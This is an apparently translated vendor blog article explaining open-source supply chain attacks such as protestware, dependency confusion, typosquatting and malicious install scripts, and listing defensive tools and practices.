Security Vision
Introduction
When using open source, how often have you wondered what's coming with an upcoming update? Most likely regularly, especially over the past few years. The world has long said that any updates to proprietary software require testing and verification, it's the same story with updates to opensource solutions.
Supply chain attacks have become a significant threat to software security in recent years.
Figure 1: Growth of supply chain attacks, 2019-2022
Attackers can inject malicious code or compromise dependencies in open source code, resulting in malicious elements infiltrating the system along with updates or new versions. This makes tracking and securing opensource projects more challenging.
How do supply chain attacks affect business?
- Data leakage
- Financial loss
- Business disruption
- Reputational damage
Instead of directly attacking the target organisation's systems, networks or employees, an attacker infiltrates a trusted organisation in the supply chain, leveraging that organisation's trust and access to the target.
What defences are needed against
Even the best defensive strategies within an organisation can be undermined if third-party suppliers do not meet the same high standards of security.
Malicious code introduction
Malicious code injection is a subtle but highly dangerous form of attack that highlights the threats developers face.
The attack scenario often begins with an attacker gaining access to a library's source code, whether through compromise (as in the cases of codecov and SolarWinds) or by impersonating the original open source developer. Then, once access is gained, changes are made to the code that contain malicious payloads. This can range from a simple credential leak to sophisticated cryptojacking, where cybercriminals steal millions of dollars worth of cryptocurrency.
In the context of Log4j, which has become a catalyst for discussion in the cybersecurity community, the Verizon DBIR 2023 report highlights unexpected aspects of its use, including espionage and organised crime.
Two key elements are needed to avoid the consequences of such campaigns:
- Software Component Awareness: it is important to know what software components are integrated into software, either directly or temporarily. The use of SBOMs (Software Bill of Materials) or software specifications allows for a better understanding of the structure and dependencies in software code. This provides transparency and vulnerability detection earlier in the development process.
- Ability to make quick changes: when a corrupted software release is detected, the ability to make corrections quickly is critical. Flexibility and agility in responding to threats minimises the time lag between vulnerability detection and remediation.
One of the positive aspects in the open source community is the ability to thoroughly analyse code. This means that many such campaigns are quickly detected and disclosed, facilitating rapid threat response and quick changes.
Protest software
Another sub-variant of malware deployment that we've seen over the past two years is protest software. In this scenario, an incident occurs when a maintainer deliberately sabotages its own project, causing harm or disruption in a way that disrupts its users.
While technically an open source software developer has the right to do whatever they want with their code, introducing malware that disrupts the software or collects additional information is not a good idea.
Protestware has become a hot topic after a series of changes to the JavaScript node-ipc package. Because node-ipc is required for the functionality of a number of other codes, including the Vue.js framework for user interfaces, some security researchers initially categorised the malicious changes as supply chain attacks. While external parties have always been the culprits in past supply chain attacks, Brandon Nozdaki Miller, a core node-ipc developer using the alias RIAEvangelist, made the changes in protest. Identified as peacenotwar, the code was designed to erase data if it was used on systems located in Russia or Belarus.
It is important to distinguish between protest software and hacktivism, which often share common goals in messaging but differ in the methods of execution. In hacktivism, an attacker disrupts services in a variety of ways, including code injection, website defacement, and DDoS attacks, to express their objection. Protest software, on the other hand, involves a legitimate developer with authorised access to the code making intentional changes in protest.
Some vendors, in particular Kaspersky Lab, have already adapted to the new realities and when working with dependent libraries they allow checking them on their platform.
Dependency confusion
Dependency confusion is a form of attack based on spoofing internal package names and publishing them to the open source registry with an abnormally high version number. It is still one of the most numerous attack types observed. Intrusion reflects a highly targeted approach and is favoured by both security researchers conducting legitimate penetration testing and attackers seeking to penetrate a given organisation.
The type of defence that can be applied against dependency confusion exists in both upstream and downstream scenarios. Ultimately, these attacks are based on the fact that the organisation will not register its internal package names in the source repositories. Thus, cataloguing packages and their versions within the organisation and then comparing them to a benchmark during the upgrade process will help in defending against the attacks.
Typosquatting
Typosquatting continues to be a popular method for conducting software supply chain attacks and is based on a deceptively simple technique. It takes a popular component, changes its name slightly and then works on the assumption that some developers will make a mistake when adding the component. Working with software is ultimately a very repetitive form of writing. With millions of pairs of hands typing npm install or editing requirements.txt on millions of keyboards, it is inevitable that mistakes will be made.
An example seen in real life is the campaign against the colours library, where opponents call their packages colours-2.0 or colours-helper and so on.
Malicious payloads
These techniques are often combined with a malicious payload that is executed immediately using the inbuilt functionality of a developer's build tool. Most modern build tools such as npm, cargo, pip3, etc., allow the package maintainer to execute some sort of installation script while the package is being installed.
There are many legitimate uses for such functionality, such as compiling your own libraries for use or preparing a directory structure. Unfortunately, since there is usually no user interaction during this step, the same mechanism can be used to obtain malicious payloads from a management server, which are then automatically installed and executed without the user's knowledge.
The most common types of payloads include installing malware and extracting system credentials and tokens, as well as other system information.
Unfortunately, mitigating these types of attacks is impossible without some level of automated scanning that checks newly acquired dependencies against known malware signatures or other suspicious indicators.
How to protect yourself
Vendor solutions
1. Kaspersky Open Source Software Threats Data Feed
As mentioned earlier, Kaspersky Lab has launched the Kaspersky Open Source Software Threats Data Feed. Providing data on open source software, the Kaspersky Open Source Software Threats Data Feed includes components with undeclared capabilities and packages with insecure software. CodeScoring uses this data to automatically validate open source components, providing developers with the results of the analysis. Using off-the-shelf packages in software development has become common practice to save time.
2. GitHub Code Scanning
GitHub provides tools for static code analysis such as CodeQL. This allows you to detect vulnerabilities and potential security issues in open source code. The tool uses logical analysis with deduction capability. It integrates with a vast amount of data from the GitHub ecosystem.
3. CodeScoring
CodeScoring is a Russian OSA/SCA solution that provides tools for verifying open source components and securing software supply chains. Uses threat data from the Kaspersky Open Source Software Threats Data Feed. Provides management of information about components in use and security tracking.
4. Snyk
Snyk provides solutions for securing open source code and dependencies. Focuses on early detection of vulnerabilities. Uses dependency analysis and integration with CI/CD systems. Provides information about dependency security.
5. WhiteSource
WhiteSource specialises in open source security and management. Provides vulnerability tracking and licence compliance. Provides automated security analysis, version control, and inventory of open source code.
6. Sonatype Nexus Lifecycle
Offers solutions for dependency lifecycle management, including vulnerability detection and security issues. Integrates with popular development tools. Provides security tracking across all phases of development.
Standalone security
While there is no universal strategy on the market to protect against this threat yet, there are several approaches you can use on your own to protect against protestware and dependency malware injections in your code. Here are a few recommendations:
1. Manual code inspections
Carefully examine the code of your dependencies. Keep track of changes to source code repositories, especially if the project faces updates due to protests or major events. Verify that the code of your dependencies matches their official releases and does not contain changes you have made unnecessarily.
2 Use static analysis tools
Use static code analysis tools to automatically detect potential security issues. These tools can help you detect suspicious code fragments.
Example: SonarQube is a continuous code quality check tool that can detect potential vulnerabilities and security issues in code.
3. update your dependencies
Regularly update your dependencies to the latest versions to take advantage of security fixes released by package developers.
Example: Dependabot is a tool that automatically creates requests to update dependencies in your project when new versions become available.
4. use trusted sources
Prefer to use packages from official repositories or sources with a trusted reputation.
Example: Using packages from official repositories such as npm (Node Package Manager), PyPI (Python Package Index) or Maven.
5. Change Monitoring
Set up monitoring for changes to your dependencies. This can include tracking updates and checking the security of new code.
Example: Snyk is a tool for detecting and monitoring vulnerabilities in your project's dependencies.
6. Use signatures and hashes
Verify digital signatures and hashes of downloaded dependencies to ensure their integrity.
Example: Use tools such as GPG (GNU Privacy Guard) to verify digital signatures and SHA-256 to verify file hashes.
7. Code samples
Study the code samples provided by dependency developers to understand how these components are used and what functions they provide.
8. Keep up with security updates
Subscribe to security updates for your dependencies to stay up to date with new vulnerabilities and updates.
Example: Subscribing to security updates through tools such as OWASP Dependency-Check, which checks the project for dependencies with known vulnerabilities.
Conclusions
The rise of open source projects, many of which depend on multiple external components, is taking security issues to a new level. Our digital environments are becoming more complex and cyber threats are becoming more subtle and elusive.
Without proper security checks and regular monitoring of software code, we face serious risks. Dependency spoofing processes, typo domains, and other supply chain attack methods are becoming more sophisticated. This not only poses threats to data confidentiality and integrity, but also jeopardises the continuity of software product development and operations.
